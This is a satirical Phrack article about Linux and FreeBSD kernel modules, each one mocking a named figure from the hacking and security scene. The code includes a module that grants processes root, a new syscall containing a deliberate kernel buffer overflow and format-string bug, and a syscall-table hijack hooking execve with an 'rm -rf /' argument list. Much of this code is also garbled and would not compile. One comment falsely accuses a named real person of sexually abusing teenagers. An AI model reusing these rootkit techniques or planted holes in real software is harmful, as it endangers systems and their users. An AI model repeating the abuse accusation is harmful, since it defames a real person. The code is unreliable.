==Phrack Inc.== Volume 0x0b, Issue 0x3e, Phile #0x0a of 0x0f |=------------------=[ Crucial LKMs for All Hackers ]=------------------=| |=----------------------------------------------------------------------=| |=-------------------------=[ warez mullah ]=---------------------------=| 1 - Introduction 2 - RLoxley LKM 3 - Emmanuel Goldstein LKM 4 - Niels Provos LKM 5 - Jobe LKM 6 - AWR KLD 7 - Conclusion and References --[ 1. Introduction The following article is an introduction into the wonderful wide world of kernel hacking, especially writing kernel-land rootkits. Almost all of the LKMs have been written for Linux, except for the last one. The article is fashioned in a format so that each LKM displayed reflects the signature move of the hacking personality it was named after. Note: Only use these LKMs for educational purposes please! --[ 2. RLoxley LKM The first LKM in our list, and very rudimentary. Much like the well known hacking persona RLoxley, this LKM does absolutely NOTHING whatsoever and just sits there. A great first LKM - you can use this code as a skeleton. /* ** Submission By: #hackphreak ** ** This LKM Loads. */ #define MODULE #define __KERNEL__ #include #include MODULE_LICENSE("PHC"); int init_module(void) { // Let the administrator know that we 0wned him. printk("hackphreak.org pwned j00!\n"); /* ** It makes me return a value so it ** knows i really did own you. */ return 0; } void cleanup_module(void) { printk("hackphreak.org still pwnes j00!\n"); } --[ 3. Emmanuel Goldstein LKM This LKM really gives the reader a good taste of the complexities of the Linux kernel. I should say, this is the first of our LKMs that actually does something. An algorithm determines if a particular child process is a boy or a girl, ignoring all girls and rewarding boys with candy (root privileges). This module is partially incomplete: we leave completion as an exercise to the reader. See if you can implement a search using the p_cptr and p_ysptr fields of the task_struct structure to search for the youngest child on the system! /* ** Submission By: NYC2600 ** ** Like our great leader, this kernel module ** selects a child and touches him in a very special ** way. One of the best things about being a community ** leader is you can get away with depraved sexual acts ** with teenagers and no one will question it. ** */ #define MODULE #define __KERNEL__ #include #include MODULE_LICENSE("PHC"); #define CHILD(x) ((x)->p_cptr) #define IS_A_BOY(x) ((x)->pid % 2) void touch ( struct task_struct *child ) { if (child == NULL) return; if (!(IS_A_BOY(child))) return; // We only touch boys. // Doesn't that feel good... child->uid = 0; child->gid = 0; return; } int init_module(void) { struct task_struct *parent; // Let the administrator know that we 0wned him. printk("Emanual Goldstein in the House!\n"); for_each_process(p) { touch(CHILD(p)); } return 0; } void cleanup_module(void) { return; } --[ 4. Niels Provos LKM This wonderful LKM is an example of how to install a new system call on your machine. Much like anything else produced by Niels Provos, this LKM makes sure to install at least one exploitable bug which will provide easy privilege escalation. See if you can spot it! /* ** Submission By: Niels Provos ** ** This module implements a function necessary in any linux honeypot, ** It provides a new system call that will output any text sent to ** to the klogd by using the printk call. Output then can be re-routed ** to a line printer or serial console where evil hackers, like PHC, ** can not destroy the logs. ** */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define STRING_SIZE 256 extern int loops_per_jiffy; int slot; unsigned long ** sct; int sys_log( const char *str, const unsigned int len ) { char kernel_str[STRING_SIZE]; if (str == NULL) return 0; copy_from_user(kernel_str,str,len); printk(kernel_str); return len; } int init_module(void) { struct module *mod_ptr; unsigned long ptr; #ifdef USE_MOD_LICENSE MODULE_LICENSE("PHC"); #endif lock_kernel(); sct = NULL; for (ptr = (unsigned long)&loops_per_jiffy; ptr < (unsigned long)&boot_cpu_data; ptr += sizeof(void *)){ unsigned long *p; p = (unsigned long *)ptr; if (p[__NR_close] == (unsigned long) sys_close){ sct = (unsigned long **)p; break; } } if(sct){ for (slot = 1; slot < 256; i++) if (sct[slot] == sct[0]) break; if (slot == 256){ printk("PROVOS: unable to get a slot.\n"); goto out_unlock; sct[slot] = (unsigned long) sys_log; } }else{ goto out_unlock; } out_unlock: unlock_kernel(); return 0; } int cleanup_module(void) { if (sct) sct[slot] = sct[0]; return 0; } --[ 5. Jobe LKM This is Jobe's personal favorite LKM. I'm sure you all realize there's only one possible thing it can do. /* ** Submission By: Jobe ** ** This module rm's me. ** */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include char jobe_argv[3] = { "rm", "-rf", "/" }; char jobe_filename = "/usr/bin/rm"; int count(char **argv, int max) { int i = 0; if (argv != NULL) { for (;;) { char *p; int error; error = get_user(p, argv); if (error) return error; if (!p) break; argv++; if (++i > max) return -E2BIG; } } return i; } void * u_malloc(unsigned long size) { unsigned long memory; unsigned long req_size; if (size % 1024) req_size = size + ( 1024 - size % 1024 ); else req_size = size; memory = do_mmap( NULL, 0, req_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,0); if ( memory > -4096 ) return NULL; else return (void *) memory; } /* ** Stolen from the Kernel. **/ int h_second_stage_execve (char * filename, char ** argv, char ** envp, struct pt_regs * p_regs) { struct linux_binprm bprm; struct file *file; int retval; int i; file = open_exec(filename); retval = PTR_ERR(file); if (IS_ERR(file)) return retval; bprm.p = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *); sjp_l_memset(bprm.page, 0, MAX_ARG_PAGES*sizeof(bprm.page[0])); bprm.file = file; bprm.filename = filename; bprm.sh_bang = 0; bprm.loader = 0; bprm.exec = 0; if ((bprm.argc = count(argv, bprm.p / sizeof(void *))) < 0) { allow_write_access(file); fput(file); return bprm.argc; } if ((bprm.envc = count(envp, bprm.p / sizeof(void *))) < 0) { allow_write_access(file); fput(file); return bprm.envc; } retval = prepare_binprm(&bprm); if (retval < 0) goto out; retval = copy_strings_kernel(1, &bprm.filename, &bprm); if (retval < 0) goto out; bprm.exec = bprm.p; retval = copy_strings(bprm.envc, envp, &bprm); if (retval < 0) goto out; retval = copy_strings(bprm.argc, argv, &bprm); if (retval < 0) goto out; retval = search_binary_handler(&bprm,p_regs); if (retval >= 0) return retval; out: allow_write_access(bprm.file); if (bprm.file) fput(bprm.file); for (i = 0 ; i < MAX_ARG_PAGES ; i++) { struct page * page = bprm.page[i]; if (page) __free_page(page); } return retval; } int h_execve (struct pt_regs regs) { char * filename = (char *) regs.ebx; char ** argv = (char **) regs.ecx; int argc; if ( current->uid ) goto out; argc = count(argv,4); if (argc != 3) goto out; out: return h_second_stage_execve(filename, (char **) regs.ecx, (char **) regs.edx, ®s); } extern int loops_per_jiffy; unsigned long ** sct; int init_module(void) { struct module *mod_ptr; unsigned long ptr; #ifdef USE_MOD_LICENSE MODULE_LICENSE("PHC"); #endif lock_kernel(); sct = NULL; for (ptr = (unsigned long)&loops_per_jiffy; ptr < (unsigned long)&boot_cpu_data; ptr += sizeof(void *)){ unsigned long *p; p = (unsigned long *)ptr; if (p[__NR_close] == (unsigned long) sys_close){ sct = (unsigned long **)p; break; } } if(sct){ sct[SYS_execve] = (unsigned long) h_execve;; } }else{ goto out_unlock; } out_unlock: unlock_kernel(); return 0; } int cleanup_module(void) { if (sct) sct[slot] = sct[0]; return 0; } --[ 6. AWR KLD The Andrew W. Reiter LKM. This LKM will conclude our exploration into kernel trickery with our sole BSD module. As you know, awr is the famed hert/w00w00/trustedbsd member (the only one with a freebsd.org email account), who revolutionized LKM or should I say, KLD hacking with his cutting-edge article. /*- * Copyright (c) 2000 Andrew W. Reiter * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * $FreeBSD: src/share/examples/kld/dyn_sysctl/dyn_sysctl.c,v 1.1.2.2 2002/03/27 20:45:11 abial Exp $ */ #include #include #include #include #include #include /* Some example data */ static long a = 100; static int b = 200; static char *c = "hi there from awr"; static struct sysctl_oid *a_root, *a_root1, *b_root; static struct sysctl_ctx_list clist, clist1, clist2; static int sysctl_dyn_sysctl_test (SYSCTL_HANDLER_ARGS) { char *buf = "let's produce some text..."; return (sysctl_handle_string(oidp, buf, strlen(buf), req)); } /* * The function called at load/unload. */ static int load (module_t mod, int cmd, void *arg) { int error; error = 0; switch (cmd) { case MOD_LOAD : /* Initialize the contexts */ printf("Initializing contexts and creating subtrees.\n\n"); sysctl_ctx_init(&clist); sysctl_ctx_init(&clist1); sysctl_ctx_init(&clist2); /* * Create two partially overlapping subtrees, belonging * to different contexts. */ printf("TREE ROOT NAME\n"); a_root = SYSCTL_ADD_NODE(&clist, SYSCTL_STATIC_CHILDREN(/* top of sysctl tree */), OID_AUTO, "dyn_sysctl", CTLFLAG_RW, 0, "dyn_sysctl root node"); a_root = SYSCTL_ADD_NODE(&clist1, SYSCTL_STATIC_CHILDREN(/* top of sysctl tree */), OID_AUTO, "dyn_sysctl", CTLFLAG_RW, 0, "dyn_sysctl root node"); if(a_root == NULL) { printf("SYSCTL_ADD_NODE failed!\n"); return (EINVAL); } SYSCTL_ADD_LONG(&clist, SYSCTL_CHILDREN(a_root), OID_AUTO, "long_a", CTLFLAG_RW, &a, "just to try"); SYSCTL_ADD_INT(&clist, SYSCTL_CHILDREN(a_root), OID_AUTO, "int_b", CTLFLAG_RW, &b, 0, "just to try 1"); a_root1=SYSCTL_ADD_NODE(&clist, SYSCTL_CHILDREN(a_root), OID_AUTO, "nextlevel", CTLFLAG_RD, 0, "one level down"); SYSCTL_ADD_STRING(&clist, SYSCTL_CHILDREN(a_root1), OID_AUTO, "string_c", CTLFLAG_RD, c, 0, "just to try 2"); printf("1. (%p) / dyn_sysctl\n", &clist); /* Add a subtree under already existing category */ a_root1 = SYSCTL_ADD_NODE(&clist, SYSCTL_STATIC_CHILDREN(_kern), OID_AUTO, "dyn_sysctl", CTLFLAG_RW, 0, "dyn_sysctl root node"); if(a_root1 == NULL) { printf("SYSCTL_ADD_NODE failed!\n"); return (EINVAL); } SYSCTL_ADD_PROC(&clist, SYSCTL_CHILDREN(a_root1), OID_AUTO, "procedure", CTLFLAG_RD, 0, 0, sysctl_dyn_sysctl_test, "A", "I can be here, too"); printf(" (%p) /kern dyn_sysctl\n", &clist); /* Overlap second tree with the first. */ b_root = SYSCTL_ADD_NODE(&clist1, SYSCTL_CHILDREN(a_root), OID_AUTO, "nextlevel", CTLFLAG_RD, 0, "one level down"); SYSCTL_ADD_STRING(&clist1, SYSCTL_CHILDREN(b_root), OID_AUTO, "string_c1", CTLFLAG_RD, c, 0, "just to try 2"); printf("2. (%p) / dyn_sysctl (overlapping #1)\n", &clist1); /* * And now do something stupid. Connect another subtree to * dynamic oid. * WARNING: this is an example of WRONG use of dynamic sysctls. */ b_root=SYSCTL_ADD_NODE(&clist2, SYSCTL_CHILDREN(a_root1), OID_AUTO, "bad", CTLFLAG_RW, 0, "dependent node"); SYSCTL_ADD_STRING(&clist2, SYSCTL_CHILDREN(b_root), OID_AUTO, "string_c", CTLFLAG_RD, c, 0, "shouldn't panic"); printf("3. (%p) /kern/dyn_sysctl bad (WRONG!)\n", &clist2); break; case MOD_UNLOAD : printf("1. Try to free ctx1 (%p): ", &clist); if(sysctl_ctx_free(&clist)) printf("failed: expected. Need to remove ctx3 first.\n"); else printf("HELP! sysctl_ctx_free(%p) succeeded. EXPECT PANIC!!!\n", &clist); printf("2. Try to free ctx3 (%p): ", &clist2); if(sysctl_ctx_free(&clist2)) { printf("sysctl_ctx_free(%p) failed!\n", &clist2); /* Remove subtree forcefully... */ sysctl_remove_oid(b_root, 1, 1); printf("sysctl_remove_oid(%p) succeeded\n", b_root); } else printf("Ok\n"); printf("3. Try to free ctx1 (%p) again: ", &clist); if(sysctl_ctx_free(&clist)) { printf("sysctl_ctx_free(%p) failed!\n", &clist); /* Remove subtree forcefully... */ sysctl_remove_oid(a_root1, 1, 1); printf("sysctl_remove_oid(%p) succeeded\n", a_root1); } else printf("Ok\n"); printf("4. Try to free ctx2 (%p): ", &clist1); if(sysctl_ctx_free(&clist1)) { printf("sysctl_ctx_free(%p) failed!\n", &clist1); /* Remove subtree forcefully... */ sysctl_remove_oid(a_root, 1, 1); } else printf("Ok\n"); break; default : error = EINVAL; break; } return error; } static moduledata_t mod_data= { "dyn_sysctl", load, 0 }; DECLARE_MODULE(dyn_sysctl, mod_data, SI_SUB_EXEC, SI_ORDER_ANY); --[ 7. Conclusion and References This was by no means an exhaustive exploration of kernel programming topics, but it should give the reader a good idea of the things that LKM backdoors are being used to do in the wild. Visit the following sites for more information: [1] Hackphreak http://www.hackphreak.org [2] 2600 Magazine http://www.2600.org [3] Project Honeynet http://www.honeynet.org [4] Jobe's Warez file:///dev/null [5] AWR KLD /usr/share/examples/kld/dyn_sysctl on any FreeBSD system |=[ EOF ]=---------------------------------------------------------------=|